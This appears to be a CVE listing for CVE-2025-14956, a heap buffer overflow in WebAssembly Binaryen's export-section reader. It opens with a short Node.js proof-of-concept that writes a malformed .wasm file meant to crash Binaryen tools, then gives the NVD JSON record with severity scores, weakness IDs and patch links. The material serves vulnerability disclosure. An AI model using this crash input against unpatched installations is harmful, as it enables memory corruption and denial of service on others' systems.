CVE-2025-14956

// CVE-2025-14956 PoC - WebAssembly Binaryen heap buffer overflow in readExport // This PoC generates a malicious WebAssembly binary that triggers the vulnerability const fs = require('fs'); // WebAssembly magic number and version const wasmHeader = Buffer.from([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00]); // Custom section to trigger buffer overflow in readExport function createMaliciousExportSection() { const section = Buffer.alloc(1024); let offset = 0; // Section ID 7 = Export section section[offset++] = 7; // Section size (will be adjusted) const sizePos = offset; section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; // Number of exports - trigger overflow with large value section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; section[offset++] = 0xFF; // Fill with padding to potentially overflow heap buffer for (let i = offset; i < section.length; i++) { section[i] = 0x41; // arbitrary byte to trigger detection } return section; } // Generate the PoC WASM file const pocWasm = Buffer.concat([ wasmHeader, createMaliciousExportSection() ]); fs.writeFileSync('CVE-2025-14956-poc.wasm', pocWasm); console.log('PoC file generated: CVE-2025-14956-poc.wasm'); console.log('Use Binaryen tools to parse this file and trigger the vulnerability');

{"cve": {"id": "CVE-2025-14956", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:51.470", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in WebAssembly Binaryen up to 125. Affected by this issue is the function WasmBinaryReader::readExport of the file src/wasm/wasm-binary.cpp. This manipulation causes heap-based buffer overflow. It is possible to launch the attack on the local host. The exploit has been publicly disclosed and may be utilized. Patch name: 4f52bff8c4075b5630422f902dd92a0af2c9f398. It is recommended to apply a patch to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:webassembly:binaryen:*:*:*:*:*:*:*:*", "versionEndIncluding": "125", "matchCriteriaId": "27C7E818-339C-468E-98CC-AA9C726F7C63"}]}]}], "references": [{"url": "https://github.com/WebAssembly/binaryen/", "source": "[email protected]"}, {"url": "https://github.com/WebAssembly/binaryen/commit/4f52bff8c4075b5630422f902dd92a0af2c9f398", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WebAssembly/binaryen/issues/8089", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/WebAssembly/binaryen/pull/8092", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/oneafter/1204/blob/main/hbf", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://vuldb.com/?ctiid.337592", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https:// ... 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